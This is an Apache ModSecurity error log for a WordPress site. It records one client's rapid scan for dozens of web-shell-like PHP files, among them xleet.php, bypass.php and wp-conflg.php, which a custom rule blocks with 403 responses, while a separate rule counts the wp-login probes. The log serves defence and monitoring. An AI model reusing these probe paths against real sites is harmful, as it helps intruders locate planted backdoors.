[Wed Nov 26 18:19:25.420283 2025] [:error] [pid 45683:tid 45693] [client 84.17.35.112:58302] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSbULRX1gQgNFW_222qdZQAAAUU"]
[Wed Nov 26 18:19:27.305982 2025] [:error] [pid 46443:tid 46465] [client 84.17.35.112:58314] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aSbUL8LmDsnHrj-QFB_M1AAAAFQ"]
[Wed Nov 26 18:19:27.724688 2025] [proxy_fcgi:error] [pid 46443:tid 46461] [client 84.17.35.112:58330] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:28.351157 2025] [:error] [pid 46443:tid 46466] [client 84.17.35.112:58330] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSbUMMLmDsnHrj-QFB_M2wAAAFU"]
[Wed Nov 26 18:19:29.822069 2025] [proxy_fcgi:error] [pid 45685:tid 45748] [client 84.17.35.112:58362] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:30.239925 2025] [:error] [pid 45685:tid 45747] [client 84.17.35.112:58362] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aSbUMlj3f_NRdgU0DQ7KpwAAAQU"]
[Wed Nov 26 18:19:31.295421 2025] [:error] [pid 45685:tid 45759] [client 84.17.35.112:58362] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aSbUM1j3f_NRdgU0DQ7KrAAAARE"]
[Wed Nov 26 18:19:31.919477 2025] [:error] [pid 20733:tid 20746] [client 84.17.35.112:43720] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSbUMwV9EP2HuRvnH8dJ9gAAAMs"]
[Wed Nov 26 18:19:33.174899 2025] [:error] [pid 45769:tid 45788] [client 84.17.35.112:43738] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aSbUNVdG5Eht9c3yy4MWLAAAAdA"]
[Wed Nov 26 18:19:34.430234 2025] [:error] [pid 45684:tid 45720] [client 84.17.35.112:43744] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aSbUNvg5LMxwI4-PD1cvxQAAAAU"]
[Wed Nov 26 18:19:35.055953 2025] [:error] [pid 45683:tid 45690] [client 84.17.35.112:43750] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSbUNxX1gQgNFW_222qdbwAAAUI"]
[Wed Nov 26 18:19:36.110574 2025] [:error] [pid 6471:tid 6487] [client 84.17.35.112:43756] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aSbUOOh3Z9TZLlRuTiN9JQAAAI0"]
[Wed Nov 26 18:19:36.952133 2025] [proxy_fcgi:error] [pid 45769:tid 45783] [client 84.17.35.112:43770] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:37.158638 2025] [:error] [pid 45769:tid 45780] [client 84.17.35.112:43770] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aSbUOVdG5Eht9c3yy4MWMgAAAcg"]
[Wed Nov 26 18:19:39.041970 2025] [:error] [pid 45684:tid 45739] [client 84.17.35.112:43786] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aSbUO_g5LMxwI4-PD1cv4AAAABg"]
[Wed Nov 26 18:19:39.455137 2025] [:error] [pid 46443:tid 46456] [client 84.17.35.112:43796] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aSbUO8LmDsnHrj-QFB_M3wAAAEs"]
[Wed Nov 26 18:19:39.867386 2025] [:error] [pid 45684:tid 45715] [client 84.17.35.112:43804] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aSbUO_g5LMxwI4-PD1cv4gAAAAA"]
[Wed Nov 26 18:19:40.280349 2025] [:error] [pid 45684:tid 45724] [client 84.17.35.112:43810] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aSbUPPg5LMxwI4-PD1cv5wAAAAk"]
[Wed Nov 26 18:19:40.692028 2025] [:error] [pid 45683:tid 45692] [client 84.17.35.112:43818] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aSbUPBX1gQgNFW_222qdgwAAAUQ"]
[Wed Nov 26 18:19:41.104350 2025] [:error] [pid 45685:tid 45755] [client 84.17.35.112:35626] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aSbUPVj3f_NRdgU0DQ7KtwAAAQ0"]
[Wed Nov 26 18:19:41.939886 2025] [:error] [pid 45683:tid 45699] [client 84.17.35.112:35630] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aSbUPRX1gQgNFW_222qdhgAAAUs"]
[Wed Nov 26 18:19:42.353512 2025] [:error] [pid 45683:tid 45693] [client 84.17.35.112:35638] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aSbUPhX1gQgNFW_222qdhwAAAUU"]
[Wed Nov 26 18:19:42.769430 2025] [:error] [pid 46443:tid 46461] [client 84.17.35.112:35642] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aSbUPsLmDsnHrj-QFB_M4AAAAFA"]
[Wed Nov 26 18:19:43.393140 2025] [:error] [pid 45684:tid 45728] [client 84.17.35.112:35660] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aSbUP_g5LMxwI4-PD1cv6gAAAA0"]
[Wed Nov 26 18:19:44.229249 2025] [:error] [pid 45684:tid 45718] [client 84.17.35.112:35686] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aSbUQPg5LMxwI4-PD1cv7gAAAAM"]
[Wed Nov 26 18:19:44.645545 2025] [proxy_fcgi:error] [pid 46443:tid 46448] [client 84.17.35.112:35702] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:19:45.486026 2025] [:error] [pid 46443:tid 46459] [client 84.17.35.112:35702] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSbUQcLmDsnHrj-QFB_M6QAAAE4"]
[Wed Nov 26 18:19:46.755674 2025] [:error] [pid 46443:tid 46465] [client 84.17.35.112:35702] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aSbUQsLmDsnHrj-QFB_M8QAAAFQ"]
[Wed Nov 26 18:19:47.168782 2025] [:error] [pid 45684:tid 45722] [client 84.17.35.112:35714] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aSbUQ_g5LMxwI4-PD1cv9wAAAAc"]
[Wed Nov 26 18:19:53.296331 2025] [:error] [pid 45683:tid 45691] [client 84.17.35.112:35730] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSbUSRX1gQgNFW_222qdowAAAUM"]
[Wed Nov 26 18:19:53.707770 2025] [:error] [pid 6471:tid 6476] [client 84.17.35.112:33906] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aSbUSeh3Z9TZLlRuTiN9RgAAAII"]
[Wed Nov 26 18:19:54.127858 2025] [:error] [pid 45769:tid 45786] [client 84.17.35.112:33910] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSbUSldG5Eht9c3yy4MWRwAAAc4"]
[Wed Nov 26 18:19:55.803374 2025] [:error] [pid 6471:tid 6481] [client 84.17.35.112:33934] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aSbUS-h3Z9TZLlRuTiN9TwAAAIc"]
[Wed Nov 26 18:19:56.217726 2025] [:error] [pid 45684:tid 45735] [client 84.17.35.112:33936] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aSbUTPg5LMxwI4-PD1cwDAAAABQ"]
[Wed Nov 26 18:19:56.629615 2025] [:error] [pid 46443:tid 46456] [client 84.17.35.112:33946] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aSbUTMLmDsnHrj-QFB_NEwAAAEs"]
[Wed Nov 26 18:19:57.884558 2025] [:error] [pid 45683:tid 45689] [client 84.17.35.112:33948] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aSbUTRX1gQgNFW_222qdqAAAAUE"]
[Wed Nov 26 18:19:58.508729 2025] [:error] [pid 45685:tid 45749] [client 84.17.35.112:33952] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aSbUTlj3f_NRdgU0DQ7KywAAAQc"]
[Wed Nov 26 18:19:59.341484 2025] [:error] [pid 45684:tid 45720] [client 84.17.35.112:33968] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aSbUT_g5LMxwI4-PD1cwEAAAAAU"]
[Wed Nov 26 18:20:02.096865 2025] [:error] [pid 45684:tid 45734] [client 84.17.35.112:33982] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSbUUvg5LMxwI4-PD1cwHwAAABM"]
[Wed Nov 26 18:20:03.054017 2025] [:error] [pid 46443:tid 46468] [client 84.17.35.112:50378] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSbUU8LmDsnHrj-QFB_NGwAAAFc"]
[Wed Nov 26 18:20:04.809888 2025] [:error] [pid 45685:tid 45751] [client 84.17.35.112:50380] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aSbUVFj3f_NRdgU0DQ7K0gAAAQk"]
[Wed Nov 26 18:20:05.653100 2025] [:error] [pid 45685:tid 45749] [client 84.17.35.112:50388] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aSbUVVj3f_NRdgU0DQ7K1QAAAQc"]
[Wed Nov 26 18:20:06.927621 2025] [:error] [pid 20733:tid 20739] [client 84.17.35.112:50396] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aSbUVgV9EP2HuRvnH8dKJgAAAMQ"]
[Wed Nov 26 18:20:10.017368 2025] [:error] [pid 45684:tid 45724] [client 84.17.35.112:50412] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aSbUWvg5LMxwI4-PD1cwKwAAAAk"]
[Wed Nov 26 18:20:10.853492 2025] [:error] [pid 45684:tid 45721] [client 84.17.35.112:50414] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aSbUWvg5LMxwI4-PD1cwMAAAAAY"]
[Wed Nov 26 18:20:11.266131 2025] [:error] [pid 46443:tid 46452] [client 84.17.35.112:41122] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aSbUW8LmDsnHrj-QFB_NKAAAAEc"]
[Wed Nov 26 18:20:12.736059 2025] [:error] [pid 46443:tid 46458] [client 84.17.35.112:41136] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aSbUXMLmDsnHrj-QFB_NMAAAAE0"]
[Wed Nov 26 18:20:14.204964 2025] [:error] [pid 46443:tid 46461] [client 84.17.35.112:41144] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aSbUXsLmDsnHrj-QFB_NNgAAAFA"]
[Wed Nov 26 18:20:15.463436 2025] [:error] [pid 6471:tid 6474] [client 84.17.35.112:41150] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSbUX-h3Z9TZLlRuTiN9XAAAAIA"]
[Wed Nov 26 18:20:15.877258 2025] [:error] [pid 46443:tid 46446] [client 84.17.35.112:41160] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aSbUX8LmDsnHrj-QFB_NOQAAAEE"]
[Wed Nov 26 18:20:16.711438 2025] [:error] [pid 45684:tid 45728] [client 84.17.35.112:41166] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aSbUYPg5LMxwI4-PD1cwNgAAAA0"]
[Wed Nov 26 18:20:17.755713 2025] [:error] [pid 45684:tid 45725] [client 84.17.35.112:41182] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aSbUYfg5LMxwI4-PD1cwPQAAAAo"]
[Wed Nov 26 18:20:18.168531 2025] [:error] [pid 46443:tid 46449] [client 84.17.35.112:41192] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aSbUYsLmDsnHrj-QFB_NOgAAAEQ"]
[Wed Nov 26 18:20:19.842665 2025] [:error] [pid 45683:tid 45703] [client 84.17.35.112:41202] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aSbUYxX1gQgNFW_222qdvwAAAU8"]
